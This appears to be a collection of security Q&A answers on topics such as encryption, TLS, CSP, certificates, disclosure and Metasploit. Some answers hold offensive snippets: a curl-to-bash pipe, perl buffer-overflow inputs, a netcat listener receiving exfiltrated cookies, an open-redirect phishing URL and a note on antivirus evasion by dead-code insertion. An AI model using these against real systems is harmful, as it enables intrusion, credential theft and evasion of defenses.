Voice Biometrics for financial authentication

This will be abused and instead of password dumps we will see attackers trading voice sample dumps and building huge databases of identified voice samples from public documents and places like YouTube.

There are also other issues here that make this a bad choice. There's no plausible deniability if someone didn't want to be coerced into authenticating an attacker. With a PIN you might be able to say you forgot your code, you can't say you forgot your voice.

There's also the inability to protect what is being said from prying ears and recording devices. ATM makers learned this the hard way with ATM's and now we have shielding to help hide what numbers are being pressed. Similar attacks to ones that already exist will occur.

Finally is it too far-fetched for an attacker to have a large enough sample of someones voice to have some software capable of saying whatever you want them to say in their own voice ?

I think the technology could still take off simply because of a cool factor or because a big enough company forces it, but I'm not convinced this is the best security control for the task at hand and I share your concern.


Is it possible to execute a local file or code from cURL?

Not sure if this is against the spirit of what you are asking but you can pipe the output of a shell script to bash. e.g. curl "file:///root/script.sh" | bash

Also take a look at a list of known curl vulnerabilities... I'm not aware of a good one for your purpose but if I needed to execute code with only curl I would look at its known vulnerabilities.


UDP a logical choice for transmitting small amounts of data out of a secure network?

As long as you are using proper encryption and authentication (such as with DTLS, a TLS-like protocol that works over UDP), it should be completely fine. The standard caveats apply, for example message loss is possible, any datagrams with spoofed source addresses will still be received, etc. UDP itself is merely a transport protocol, so all confidentiality, authentication, and integrity must be done above it. In this case, the question becomes whether or not DTLS, QUIC, or whatever you use is sufficient for your needs, which is a different question.


TL;DR:

Full-disk encryption: do not blindly trust what is repeated on the Internet. While there is some technical truth behind these claims they may be incomplete or not match current technologies. Using FDE on SSD disks should be fine.
Password managers: there is no technical reason why a password manager would particularly increase SSD wear and tear, so you are guaranteed to be fine here.

The concern with full disk encryption (FDE) does not come from the fact that the data is encrypted.

With unencrypted file systems, the file system layer will inform the underlying SSD firmware when a block becomes free (using the TRIM ATA command). This will make the SSD firmware free to reset and reuse the corresponding storage cells as will, notably to do dynamic wear leveling, ie. spreading write operation onto free cells to gain some lifetime for the SSD.

Secure FDE file systems will not inform anymore the SSD firmware about free blocks. The result is that from the SSD firmware point-of-view the disk will soon appear as filled-up (as it will do from an attacker point-of-view: the disk content will appears as a huge BLOB of seemingly random data).

Due to the low amount of free storage cells (SSD always come with some spare cells so they are never really completely filled-up, unless when they reach their end-of-life), dynamic wear leveling will not be efficient anymore: write operation of frequently modified files would affect always the same storage cells, decreasing their lifespan and therefore shortening the SSD lifespan.

This is what is covered when one talks about the impact of FDE on SSD wear and leveling, and leads to recommendation such as allowing TRIM even when using FDE even if this lower FDE security.

However, decent SSD (if not all?) also provide static wear leveling, which allows to regularly exchange the storage cells occupied by frequently modified data with the occupied by rarely modified data, thus allowing effective wear leveling even on full and/or fully encrypted SSDs.

Therefore, thanks to this static wear leveling, most chances are that using secure FDE does not have any significant impact on SSD lifespan.

And as per your password manager file, this is a non-issue: a password manager file is a standard file, as would be a word document or anything else. It is handled way above the file system layer, far-away from these TRIM-related considerations, and has strictly no specific impact on the SSD wear and tear, so you are perfectly OK.


Windows 10 IPSec VPN not respecting configured parameters (notably: encryption method)

I have thought of deleting this question because I have found the answer myself, and the problem was not due to a bug in Windows. However, I have learnt that I am not the only one who had this problem, so I leave the question and the answer here for reference. Having said this:
The Windows IPSec stack does still not offer strong authentication, cipher, encryption, integrity and exchange algorithms by default; instead, you have to explicitly enable strong VPN IPSec cryptography. This is true even for the newest versions of Windows 10 (at the time of writing this), and it is a shame that Windows does not offer appropriate options in the GUI where VPN IPSec connections are normally created.
When researching how to enable strong cryptography in Windows, you will inevitably come across at least the following solutions:

Create and fine-tune VPN IPSec connections via Powerhell, using commands like those shown in my question.

If it does not exist yet, create the following DWORD in the registry: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Rasman\Parameters\NegotiateDH2048_AES256Then set it to one of the following values:0: Disable AES-256-CBC and MODP-20481: Enable AES-256-CBC and MODP-20482: Enforce AES-256-CBC and MODP-2048

So we have a quick way to enable that strong encryption everybody is after by just editing one registry value, which most of us are used to anyway, right? And of course, we want to be sure that the strong encryption is actually used, so we set that value to 2 to prevent weak proposals from being chosen, or to prevent ourselves from connecting to sites which only offer weak cryptographic algorithms.
A few days later, we realize that this is not enough, because we now want to connect to a site which uses another DH group, for example. So we bite the bullet and learn how to configure VPN IPSec connections via Powershell.
Next, we wonder why Windows does not respect the cryptographic algorithms we have given for a certain VPN IPSec connection via Powershell, and why it sends wrong proposals, and we write questions at this site.
The reason for Windows disrespecting our Powershell VPN IPSec configuration is trivial:
The description for the value 2 in the above registry DWORD must be understood literally. Enforce means, well, enforce, which in turn means that the cryptographic parameters for any IPSec VPN connection will be overridden and that MODP-2048 and AES256-CBC will be used instead.
It does not mean that Windows insists on AES256-CBC and MODP-2048 just if something weaker is configured or offered. It really means that this setting under any circumstances will override other settings given by other configuration mechanisms.
Since I have deleted that registry value, Windows uses and offers the correct cryptographic configuration (i.e. the one given via Powershell) when establishing a VPN IPSec connection. It did not need to be restarted for this change in behavior.
Please note that I did not try what would happen if I set that registry value to 1; I just deleted it because it is not of any benefit as long as you create your VPN IPSec connections via Powershell, which I will always do in the future.
Likewise, I did not research whether it is possible to enable strong cryptography with VPN IPSec connections by group policies or other mechanisms not mentioned above - please leave a comment if you can tell anything about that.


Is a forced rewrite from http to https secure? What does SSLRequireSSL add?

What is the best way of implementing a https-only site, if not this?

Use a separate virtual server for the HTTP, not linked to any of the resources of the 'real' HTTPS site.

To ensure that modern browsers will refuse to use plain HTTP for your site in the future, use the Strict Transport Security header.

eg.

<VirtualHost *:80>
    ServerName www.example.com
    Redirect permanent / https://www.example.com/
</VirtualHost>

<VirtualHost *:443>
    ServerName www.example.com
    SSLEngine on
    Header set Strict-Transport-Security "max-age=8640000;includeSubdomains"
    ...site settings...
</VirtualHost>

  What does SSLRequireSSL add?

It can be useful to protect particular resources if you're in a virtualhost with SSLEngine optional, or in a piece of included config shared by both an HTTP and HTTPS virtualhost.


How to implement challenge-response with keyed hash algorithm when 2 people share same key?

It's pretty straightforward.

Let's say, this transaction is happening between Alice (an entity wishing to be verified) and Bob (an entity verifying Alice's identity). They both are in possession of a common secret key and are aware of the algorithm to use for authentication.

Step 1: Bob sends Alice a random string, the challenge. The challenge should be randonly generated for every challenge-response transaction.

Step 2: Alice generates the HMAC of the challenge by running HMAC(key,challenge) and sends the generated the HMAC to Bob, the response.

Step 3: Bob independently generates an HMAC for the challenge by running HMAC(key,challenge). The Alice's response matches Bob's generated HMAC, that proves that Alice is in possession of the right key and hence can be authenticated.


How can I restrict my iframe to only use local content?

You can set a Content-Security-Policy header with the child-src directive.
For example, this will only allow frame content from the same domain:
Content-Security-Policy: child-src 'self'

Instead of 'self' you can also specify a particular origin.
Here is a simple demo (the meta tag is used to simulate the header). Only the first frame should load:
<meta http-equiv="Content-Security-Policy" content="child-src http://example.com/">

Note that this works in Firefox and Chrome but isn't supported in IE and older browsers.


What is the purpose of (ab)using the redirect page of my website for dubious URLs?

Assuming that people trust your site, abusing redirections like this can help avoid spam filters or other automated filtering on forums/comment forms/etc. by appearing to link to pages on your site. Very few people will click on a link to https://evilphishingsite.example.com, but they might click on https://catphotos.example.com?redirect=https://evilphishingsite.example.com, especially if it was formatted as https://catphotos.example.com to hide the redirection from casual inspection - even if you look in the status bar while hovering over that, it starts with a reasonable looking string.

The main risks are to your site reputation (it's more likely to get black listed by filtering services if they spot dubious traffic being accessed through it) and to people following these links (who knows what is actually on the other site you're sending them to). It's unlikely to result in compromise of your server directly.


Disclosure: I work for the referenced company, and I'm not sure how to get the suggestion in this post across without it seeming like a sales pitch. Here goes.
It seems to me that "memorized passwords" and "our average user is over 70" are not going to play well together. Have you considered solutions other than passwords? You'd want something which is:

A physical object; ie non-memorized
Inexpensive for the doctor's office to hand out
Easy to use even for the (potentially severely) technologically-challenged.
Meets the security (and/or compliance) requirements for this product. Ex.: would you be allowed to use a physical object instead of a password? What if you coupled it with a weak password or knowledge-based set of questions.

You could consider having the doctor's office generate random passwords and print them out, but we all know that passwords of the form x7a8Cqr4dPt20 are not user-friendly.
The solution that comes to mind is Entrust Grid Cards (disclaimer: there may be other vendors who have similar features, but I'm not aware of any)
The doctor's office could print off a grid card on their standard office printer; when using the website / app the user will be challenged to provide three cells from the grid, if they lose the paper then they go back to the doctor's office and get a new one printed.


Could technical controls prevent vehicle ramming attacks?

Bollards are the traditional approach.   Normally to prevent vehicles from attacking high-value targets such as banks, embassies, etc.

https://en.wikipedia.org/wiki/Vehicular_assault_as_a_terrorist_tactic

In this shot in Istanbul, they protect sidewalks.

https://en.wikipedia.org/wiki/Bollard#/media/File:20131207_Istanbul_054.jpg

They can be disguised as flower boxes, benches, street lights, garbage bins, etc, etc.   The important part is to make sure there are no gaps... and that they're not run-of-the-mill street furniture, but genuinely tough enough to stop a truck.

For the situation in France, it might have given people who ran off the street some immediate protection, and may have stopped the truck before it could do much more harm.

It might not be high tech, but low tech is a kind of tech.

Looking at Google streetview, the location had no protections at all: https://goo.gl/maps/KjuXwxHHnM62


What's the difference between the same model with and without FIPS 140 certification?

[Disclaimer: I'm a developer on a FIPS 140-2 Level 2 software module, and I'm a little disgruntled about the whole process]

The main difference I've seen is that things that are FIPS 140-2 certified are at least 6 months out of date when you get them, and cannot be patched in the case of a vulnerability.

Getting something FIPS / CC certified costs $$$, developer effort, and about 6 months of waiting. It's completely infeasible to certify patches, especially emergency security patches. Once we have a commercial FIPS-certified build, that build gets code-frozen for X years until we do another FIPS validation, so customers requiring FIPS 140-2 certified software are forced to use an older, unpatched product.

(Of course we try to work around this as best we can by providing our FIPS customers with external scripts / tools, or hacks to code outside the FIPS boundary, but sometimes the fix just has to wait for our next re-validation. The phrase "How do we solve this without breaking FIPS?" comes up more often than you would expect. So our non-FIPS customers actually have a cleaner (and sometimes more secure) product with a faster patch cycle.)

Less snarky:

The advantages of a FIPS 140-2 / CC certified product is that you know it's built on top of other FIPS 140-2 certified libraries (ex. Linux's RNG /dev/random) and that the out-of-the-box configurations will meet a minimum standard for entropy collection, ramdomization, private key protection, etc.

Final note: I'm speaking to FIPS certified software because that's what I know. As @Polynomial points out in his comment, it's possible that hardware manufacturers may omit the intrusion-detection sensors on their non-FIPS models, or may pre-load it with configurations that improve performance at the expense of security (for example, using /dev/urandom rather than /dev/random). I imagine an HSM sales person would be pretty open about this sort of thing (if you manage to get a sales person who's technical enough).


Document security - how to find who's leaked a confidential document?

There are a bunch of ways to modify the document so that they are not visibly different, but still be able to uniquely identify each document.  Here are a few ideas.
Leaks of entire document
Changes in Meta data
You could put a unique hash in each of the document's meta data.
Slight changes in text color
You could use slightly different colors of text in the document's color that would all look visibly the same, but still able to spot the differences with a computer.
Assuming that there are only 2 colors to use that still look the same, you could color the first letter in color 1 and the rest in color 2 for doc 1, the second would have 2 letters of color 1 and the rest of color 2, etc.
Invisible characters
You could put a certain number of spaces at the end of each document and use that for identification.
Leaks of by copy and paste
Encode a unique id using spaces between words
Put different numbers of spaces between specific words and use that to identify documents.  For instance the first document would have two spaces between word 1 and 2 and one space between every other word.  For document 2, you would have 2 spaces between words 2 and 3.
Automation
I would highly recommend generating the documents with a python script using the library FPDF.
Documentation and examples can be found here.


what are the best security certifications for beginners with no experience in IT

A+
Build your own machines. Seriously. Do it so you can do the next step.

Network+
Build your own subnetted home network with a domain controller and a two-way transitive trust between your home and your friend's home. That'll get you started.

Security+
Harden the expletive out of what you just built in the last step and then break it yourself! =D

In all seriousness though, you really do have a lot of things to learn and to accomplish. I too am relatively new to IT Security, and I have a long journey ahead of me. You'll want to learn how to use some variant of Linux if you haven't already, and a few programming/scripting languages, like java, php, ruby, C++ etc. It's a huge body of knowledge, and eventually you'll find where you want to settle.


How to perform buffer overflow on non-argument parameters?

A few techniques to achieve this is discussed over here

Methods 1 and 2 should work outside gdb as well.

Edit:
(The techniques are copy-pasted below to preserve them)

Method #1:

perl -e 'print "A"x48; print "\x1b\x88\x04\x08";' > /tmp/input
gdb ./a.out
(gdb) run < /tmp/input   # voila: GDB reads terminal,
                         # your program reads /tmp/input

Or outside gdb:

$ perl -e 'print "A"x48; print "\x1b\x88\x04\x08";' > /tmp/input
$ ./foo < /tmp/input

Method #2:

mkfifo /tmp/pipe
perl -e 'print "A"x48; print "\x1b\x88\x04\x08";' > /tmp/pipe &
# perl will block, waiting for someone to read the pipe
gdb ./a.out
(gdb) run < /tmp/pipe

This is also usable outside gdb in the manner described before.


You should endeavor to disclose the vulnerability in a responsible and ethical fashion.

look for a contact email of the individual who owns the site as well as anyone that does admin on it. Look up whois, this may have contact information for the person who registered the domain or a contact page on the site, I do not recommend using any information that you has exposed by the bug to contact the person, as you may find yourself in legal gray area.

Detail the  vulnerability, how you discovered it and any methods they can use to replicate it (which looks easy  in this case). I would also inform them of any fix as well if you know one.

Additionally you can explain what risks they face by leaving the vulnerability unchecked.

If you have made best endeavor to disclose this ethically and they do not do anything about it, you have two options; Inform them that you will give full disclosure to the public after a fair amount of time, or decide that as it is a personal site that you will not disclose it to the public and go on with your life.

Personally as peoples personal details are exposed and the person who owns the site is a public official I would give them fair warning and then go public.


Firefox lists '(unknown)' as the owner of google.com. Is my connection insecure?

Nothing to be worried about. All this means is that Google doesn't use an extended validity certificate. It's well known that the Google.com site belongs to Google, so there's really no need for that information to appear in Google's certificate.

For a more detailed explanation of extended validity certificates and why Google doesn't need one, see this answer.


TLS 1.3 HKDF-Expand references to Hello messages

The Derive-Secret function is defined this way in § 7.1:
Derive-Secret(Secret, Label, Messages) =
     HKDF-Expand-Label(Secret, Label,
                       Transcript-Hash(Messages), Hash.length)

§ 4.4.1 specifies that the transcript hash is generally just the hash of the messages concatenated (although there is an exception), so in this case, it's a hash of the entire message.  Specifically:

This value is computed by hashing the concatenation of each included handshake message, including the handshake message header carrying the handshake message type and length fields, but not including record layer headers.

TLS 1.3 specifically uses the transcript hash in many cases because it foils certain techniques that could be used to cause different sessions to derive the same secrets.  These had been used in attacks on the protocol in the past, and they were also used by MITM devices in the past.  Since the only way now to derive identical secrets is to perform an identical key exchange and we assume the attacker doesn't know the key exchange private key, these attacks are no longer possible.


Why do we still use the terms SSL and HTTPS?

Huge effort. Little technical return.
Introducing a new scheme (schemes are e.g. http://, https://, ftp://, etc.) and deploying it would mean breaking backwards compatibility. Not worth it.
Political rather than technical
Ivan Ristic devotes some sentences in the introduction to his book to this.
The book is called Bulletproof SSL and TLS. You've got both the "SSL" and "TLS" right in the title. (Go figure.)
The introductory chapter is free online. The naming controversy is mentioned in section "SSL versus TLS" (page xix) and section "Protocol History" (page 3).
It seems the whole reason for renaming from SSL to TLS was political rather than technical. Ristic's footnotes link to the blog of Tim Dierks. Dierks wrote the SSL 3.0 reference implementation in 1996 and this is his take on the naming:

Tim Dierks, 2014-05-23, Security Standards and Name Changes in the Browser Wars (archived here):

As a part of the horsetrading, we had to make some changes to SSL 3.0 (so it wouldn't look [like] the IETF was just rubberstamping Netscape's protocol), and we had to rename the protocol (for the same reason). And thus was born TLS 1.0 (which was really SSL 3.1). And of course, now, in retrospect, the whole thing looks silly.

Further reading

Here's another take on the naming. It's by Mike McCana (who operates a CA himself):
Mike McCana, CertSimple.com blog, 2016-01-05, Why do we still say SSL? (Archived here.)


There are now millions of machines connected to the internet that are infected and part of one or sometimes several botnets. One of the things some botnets do is to automatically and continuously trawl through discovered IP addresses looking for ports to try and connect to. When they find one, they will attempt to use common ids and passwords to break in and infect the found machine.

You will find that any new server or router connected to the Internet is discovered within around 30 seconds.

You should NEVER leave common ports open directly to the Internet unless you really need them.

Some ports should NEVER be left open full stop. Those include TELNET and FTP. These are unencrypted services and if you use them, you are open to having your logins stolen and any data you transfer recorded.

In general, the only ports you should leave open on their defaults are 80 and 443 for HTTP and HTTPS respectively. Of course, you might need others too but you always need to be aware that any port is a target.

In addition to the unsecured services, I strongly recommend moving the default ports for SSH and RDP as these attract a lot of attention and you really don't want your logs full of connection attempts since this may mask other issues. RDP in particular can be susceptible to attack and there have been some really high-profile attacks using it recently. RDP is the Microsoft remote desktop service.

UPDATE: Accessing SSH via Teamviewer is a little excessive really. Use it but just move it to a different port. You might also look at something like fail2ban which can add some smarts to the firewall by auto-banning IP addresses that persistently try to get in.

Teamviewer has had some serious security failings in the past, I'd recommend doing a search to make sure it is OK at the moment. You would generally only be using RDP on a Windows server & you need an appropriate license for that.


Isn't ssh-copy-id exposing to a brute force attack?

ssh-copy-id is a script that simply logs onto a target machine and copies your public key there, so that further login attempts on that machine can be done with your SSH private key. This assumes that you can log on that machine right now, while your public key is not there. If you get asked for a password, then this means that password-based login is still enabled on that server (or at least that the client is trying to authenticate with a password, which may or may not work depending on server configuration).


Is it safe to accept the security certificate from AOL chat?

This is a known issue for Pidgin, related to the root certificates that are trusted, although it looks like it has been resolved:

https://developer.pidgin.im/ticket/15850

I'm not certain whether updating Pidgin will therefore fix this, or you have to import a certificate yourself...

  People experiencing the AIM certificate problem can save this file to Pidgin's ca-certs directory: https://hg.pidgin.im/pidgin/main/raw-file/4e027bce3693/share/ca-certs/Entrust.net_2048.pem
  For me that's /usr/share/purple/ca-certs/

To confirm that the certificate is in fact valid, you can check it using a service like SSL Labs (or from your own box using something like SSLyze maybe). We know that Pidgin is trying to connect over 443 so this works.

https://www.ssllabs.com/ssltest/analyze.html?d=api.oscar.aol.com&s=64.12.235.15

This service reveals that the certificate presented by the server is valid, although you should make sure that you're receiving the same certificate that SSL Labs did. You can do this by comparing the fingerprint (3d9b06d38685972da2515ffb6a5629706d7ec698) from your screenshot to the first SHA1 value in the SSL Labs report. Since these are the same we can be pretty certain that you are talking to the correct server.


I think you have hit the nail on the head when you say, "...not interfacing with our users very often"

You absolutely must work with the end users to understand their view - most end users have no interest in understanding what 0-day even means, let alone why they should care.

A lot of what I do is that interface between technical security teams and non-technical clients, and the best approach, in my opinion, is to sit down with the user and understand what their job demands of them. What are the easy and difficult aspects?

As an example, do they have old laptops which take ages to boot? If so, you will find they will not want to do a full shutdown every night but instead may just hibernate their machines. Which will obviously break the protection offered by full disk encryption. So your essential security feature is wiped out despite everyone knowing it is valuable. The solution then requires liaison with more senior levels to articulate the problem, possibly referring to data protection legislation, and then with IT.

Do you understand the drivers for your users? If you don't talk to them, you won't - and by talk I really don't mean evangelising about security. I mean listen to them, listen to their rants about IT not working, listen to what they think they need to do as part of their day job, then go away and analyse what impact their drivers and aspirations have on your security aims.

Because at the end of the day in many organisations security is seen as a blocker, something that just stops people being able to work; and then when the organisation is hacked it is the security team's fault for not making them secure.

Awareness at grass roots level first - then build your security strategy to support the IT strategy and business strategy. Support at user level will make it much simpler to have security built in to improvement projects and BAU.


metasploit exploits and payloads documentation

When you select a module such as exploit or payload in msfconsole, type the info command and it is going to show you the description of the module detailing what the module does. You can get the same information on the rapid7's online module pages as well.

An example (taken from Offensive Security's Metasploit Unleashed is given below:

msf  exploit(ms09_050_smb2_negotiate_func_index) > info

       Name: Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
     Module: exploit/windows/smb/ms09_050_smb2_negotiate_func_index
    Version: 14774
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good

Provided by:
  Laurent Gaffie <laurent.gaffie@gmail.com>
  hdm <hdm@metasploit.com>
  sf <stephen_fewer@harmonysecurity.com>

Available targets:
  Id  Name
  --  ----
  0   Windows Vista SP1/SP2 and Server 2008 (x86)

Basic options:
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  RHOST                   yes       The target address
  RPORT  445              yes       The target port
  WAIT   180              yes       The number of seconds to wait for the attack to complete.

Payload information:
  Space: 1024

Description:
  This module exploits an out of bounds function table dereference in
  the SMB request validation code of the SRV2.SYS driver included with
  Windows Vista, Windows 7 release candidates (not RTM), and Windows
  2008 Server prior to R2. Windows Vista without SP1 does not seem
  affected by this flaw.

References:
  http://www.microsoft.com/technet/security/bulletin/MS09-050.mspx
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3103
  http://www.securityfocus.com/bid/36299
  http://www.osvdb.org/57799
  http://seclists.org/fulldisclosure/2009/Sep/0039.html
  http://www.microsoft.com/technet/security/Bulletin/MS09-050.mspx

msf  exploit(ms09_050_smb2_negotiate_func_index) >

Update: Lately, Metasploit has started adding documentation to each of the module submitted and for the ones already included in the framework. These are available in the documentation directory under the same path as that of the exploit. For example, the documentation for the exploit module exploit/windows/smb/ms08_067_netapi can be found at documentation/exploit/windows/smb/ms08_067_netapi.md.


How to prove flyer was (not) authored by specific person?

With a digital signature you might claim ownership of a piece of data, but usually not to your own advantage. A digital signature works like this:

The key owner generates a public/private key pair (two mathematical objects sharing a common structure).
The public key is made public (hence the name) while the private key is kept private (the structure is such that revealing the public key does not allow recovery of the private key).
A signature is computed over a given piece of data using the signature generation algorithm, which relies on the private key.
A signature value can be verified over the piece of data, using the signature verification algorithm and the public key.

The signature somehow proves that the owner of the private key was involved in the process since knowledge of the private key is needed to produce a signature value that the verification algorithm will accept. The signature value is mathematically tied to the data that was signed, and thus cannot be transported to another piece of data. Certificates (hence PKI) are a method to bind identities (e.g. your name and physical being) to public keys, so that other people may learn (with some strong guarantee of reliability) what your public key actually is. Certificates themselves rely internally on signatures.

Now this does not really solve your problem. As I wrote, signatures can be used to claim ownership; by signing a piece of data, you demonstrate that you were involved, but nothing prevents you from signing a file which was "produced" (in some way) by somebody else.

The normal way of using signatures is to endorse: by signing something, you accept to be bound (in some way, possibly legally) to the contents of what you signed. That's not what you seek here.

A better candidate is time stamps. Authorship really is defined relatively to time: you are the author of some work because you are the first one to have come about it. So you want a proof of anteriority.

A Time Stamp Authority is some service who signs (with a digital signature) a structure containing the current date and time (as known to the TSA) and a piece of data (actually a hash thereof, but that's a technicality). The TSA, by that signature, guarantees that the piece of data existed at the specified date. So what you want to do is to submit to a TSA a structure which contains your artistic work (the "flyer") and your name; and the TSA will issue a time stamp which proves that, at some date T, the flyer was in your possession.

If you do that before publishing the flyer, then other people will not be able to obtain a time stamp for the same data, with their name, and a date prior to T. If the earliest proof of possession of the flyer bears your name, then you will be reputed the "original owner", i.e. the author.

In practice, what you do is the following:

Take the artistic work as a file F.
Create a text file called README.txt with your name in it.
Put both F and README.txt in a Zip archive.
Obtain a time stamp from a TSA.
Keep the time stamp and the Zip archive somewhere. In case of dispute, show them to the judge.

Whether such a scheme would hold in court is another matter. Legal matters are their own world. My technical feeling is that a time stamp done that way is a rather strong proof element, but whether it will be sufficient depends on jurisdiction, local laws, and, crucially, how well the used TSA does its job.

There is a non-computer equivalent to the time stamp; it is called a Soleau envelope. If you take your flyer in printed form, and put that in the Soleau envelope along with a sheet of paper stating your name, then that would be a good start for ulterior authorship claims.


Should the password be stored in a variable before encryption?

The two code snippets will very likely compile to the exact same bytecode, so no difference. Even if it wasn't the case, passwd contains only a reference to the string containing the password, no extra copy of the value is created.


Transfer encrypted objects and decrypt in browser

If you want to prevent the users of the client from using the model you send them, you need some form of DRM.

There are posts about why you will fail.


Machine certificates for accessing a web app in IIS only from an specific PC client

There is no real difference between machine and user certificates: it's a X509 cert that is used during the TLS handshake as client authentication (client authenticated handshake).

The difference is how the certificate is installed and configured on the client: typically, a user certificate will be linked to the user account. depending on the system, it might be "moved" from one system to another when the user moves (for instance, if it's an AD-integrated certificate) and the private key will not be accessible to other users of the same server.

A machine cert, however, is tied to the specific machine. Typically, on windows, it is linked to the LOCAL_MACHINE certificate store and the access to the private key is protected by ACLs so that only local admins and authorized users have access to it.

So, to answer your question: you, you can use machine certificate since the only difference is the way they are distributed and their access is controlled.


You're code looks right, but it's possible that the cookies you're trying to access are HttpOnly which would not let you access them via javascript.
Confirm in Console

document.cookie should return ""
document.cookie = "username=John Doe";  to set a random cookie value.
document.cookie should return "username=John Doe"
Try your code and see if you get the John Doe cookie.

Receive Data
Easiest way to receive the exfiltrated data is with Netcat, see below.
% nc -l 8000
GET /hello.php?leak=username=John%20Doe HTTP/1.1
Host: 127.0.0.1:8080
...


Any recipient can modify an order confirmation mail, right? Does this ever matter?

Your issue is one of integrity, whereby a recipient can take an email you sent them, alter the contents, then forward them to a 3rd party. This might be problematic if an agent or middle-man decides to bloat up the prices and take a cut off the top.

There are two ways of solving this:

Digitally sign the message using a technology such as PGP, and ensure that all potential recipients are aware that you always sign your mail. This provides proof of authenticity, and gives you grounds to refute claims by any 3rd party.
Provide an out-of-band copy of some or all of the content. This could be achieved by logging quote details on the server, along with a "quote ID", which is sent with the email. This gives you a record of the quote, along with the details that were used and the price that was shown.

I would go for option 2 in your situation, since it doesn't require clients to be tech savvy.


What is the term for adding benign code/behavior to malware to evade antiviruses?

I think the technique is called obfuscation using "dead code insertion" where you add routines that don't perform any function to throw off AV static and dynamic analysis.
I read it here
Also this wiki leaks paper shows experiments with AV that use techniques of adding functions that dont do anything but bypass AV dynamic analysis


Validating an SSL certificate chain according to RFC 5280: Am I understanding this correctly?

There is X.509, and there is SSL/TLS. TLS expects the server to send an X.509 certificate chain, from which the client will extract the server's public key. Then things diverge:

In pure X.509, the server should send its certificate for the client to validate; possibly, the server may add an unordered bunch of extra certificates that could prove useful to the client, basically some possibly relevant intermediate CA. The client would still be free to validate the certificate in any way as it sees fit, in particular through arbitrary chain building. This method is demonstrated in, for instance, in CMS (formerly known as "PKCS#7"), in which a signed document (SignedData) references the signer's certificate and optionally includes an unordered set (ASN.1 "SET") of extra certificates.
In SSL/TLS, things don't go that way. Instead, the server should send the exact chain that is to be used; the server is explicitly allowed to omit the root CA, but that's all. Any client is entitled (at least historically, if not de jure) to reject the server's certificate if the chain does not match this pattern. Of course, any client is allowed to make an effort and try to validate the server's certificate in the X.509 way, with its own path building; but there are SSL client out there that do not make such an effort.

A relevant excerpt of RFC 5246 is in appendix F.1.1:

  If the server is authenticated,
     its certificate message must provide a valid certificate chain
     leading to an acceptable certificate authority.

This is the passage that gives SSL clients the "right" to unceremoniously reject server chains that cannot be validated "as is".

In your case, the chain sent by the server is:

    Root-X -> CA1 -> Server

where "Root-X" is "the root signed by Server CA X". The lazy client tries to validate that chain twice:

First attempt is based on the assumption that the chain includes the root CA. The client does not find "Root-X" in the list of its own root CA, so this fails.
Second attempt is based on the assumption that the chain does not include the root CA. The client scans its root CA for an issuer for Root-X (and that's the critical point). It does not find any, hence failure.

In order to validate the chain sent by your server, the client must be slightly less lazy, and try to find an issuer for CA1 within its own set of trusted CA. This would require a third assumption, namely that the chain sent by the server does include a root CA, but not "the right one".

I suppose that your failing SSL client is a "lazy client" as enunciated above. To make sure, try to connect with Internet Explorer as client; IE, for all its shortcomings, is not lazy when it comes to certificate validation. IE will try to rebuild a chain from the certificates sent by the server, the certificates it has in its own stores, and the certificates it can download. Notably, any certificate may contain a URL pointing to the certificate for its issuer (that's part of the Authority Information Access extension); IE (and, in fact, Windows in general) will gleefully follow such URL and gather intermediate CA (HTTP-only, not HTTPS, to avoid a nasty loop).

If you can thus confirm that the problem is indeed a lazy client, then possible workarounds include the following:

Change the chain sent by the server so that it includes the self-signed root, or simply ends at CA1.
Install the "Server CA X" certificate as trusted CA in the clients.
Modify/configure the client so as not to be lazy.

Of course it is quite possible that your chain is incorrect in some other way, which is difficult to assess without actually seeing the certificates. The path validation algorithm is complex, so there might be another extension that does not please the client (e.g. one certificate might be using a Name Constraints extension on which the SSL client implementation just chokes). Possibly, the client is not lazy, but insists on ascertaining revocation status of all certificates in the path, and some CRL or OCSP responder is out-of-date or unreachable. There are hundreds of ways by which certificate validation may fail.


Does it pose a problem to use 'strict-dynamic' with a hash and not a nonce?

Your policy is perfectly fine (you can paste it into the CSP Evaluator to confirm) -- hashes are a good alternative to nonces, particularly in static applications.

There are two reasons why most of the advice about policies with strict-dynamic focus on nonces rather than hashes:

Applications often dynamically interpolate values inside <script> blocks (e.g. a JS object with some user-controlled data, a string with the user's email, etc.). In these cases you cannot use hashes because you don't know what the contents of the script are ahead of time, whereas a nonce will bless the script regardless of its contents.
External scripts (<script src="...">) must be blessed by nonces because hashes apply only to inline script blocks. So if your site has external scripts it would have to use an inline bootstrapping script blessed by a hash, which would then load any external JS. This requires some refactoring and can affect the performance of the page because external scripts will only start to load once the bootstrap script executes.

But if your application doesn't have these problems, then a hash-based policy is a good approach.


How to securely store users API keys submitted through client

An API key is basically a password. The usual protections like transport with TLS (i.e. use HTTPS) should therefore be sufficient.


I don't believe any improvements were made to the Linux development cycle in response to ShellShock.  As "the vulnerabilities had existed since version 1.03 of Bash released in September 1989" (Wikipedia), it's not considered a current development cycle issue.  (And insofar as it is, it's a universal lesson: "don't write buggy code, and find it if you do", that everyone tries and fails to learn).

The recommendation to users was: patch.  That was the last recommendation before that, and will be the first recommendation on the next bug.  In a world where software is imperfect, patching promptly is the best defense.


Are there ransomware infections of Ubuntu Linux in the wild?

Actually there IS a new ransomware (now, not when the question was asked) that is apparently a trojan that encrypts home directories and web root, then asks for a bitcoin to get the decryption key.  I can't find any information yet about what the trojan is coming in as, or how it's supposed to be spreading.  Basically, stick to the official Ubuntu repositories to get your software and you should be fine.

http://techcrunch.com/2015/11/06/linux-ransomware-is-now-attacking-webmasters/


How to decide where to host an online store?

This is hardly a security question but I can give you some pointers.

  ... can (and will) accumulate large parts of our customer database.

This is normally handled by contract law. (or to be more specific using a Service Level Agreement (SLA). this document normally holds what level of care the hoster has, what level of support the customer can expect, and how different parts of physical and digital security is handled.

  Has to do penetration tests (and regulare checks, whether a data-breach occured)

Probably not. Security audits should be done by someone outside of the chain. (so an objective outsider or specifically a third party that has signed NDA's (Non-Disclosure Agreement's) and does whitebox and / or blackbox testing dependaing on need and impact.

  Has to inform us about happened breaches (There is a high probability that they won't do it, to avoid getting sued)

If in the contract there is no provision for how to handle (security) threats and the SLA also does not mention it. than yes there is only local applicable law that might require the company to inform you (for example European law has some of this). This is why typically this is written down in both contract and SLA.

  We have to trust them (which is just impossible IMHO)

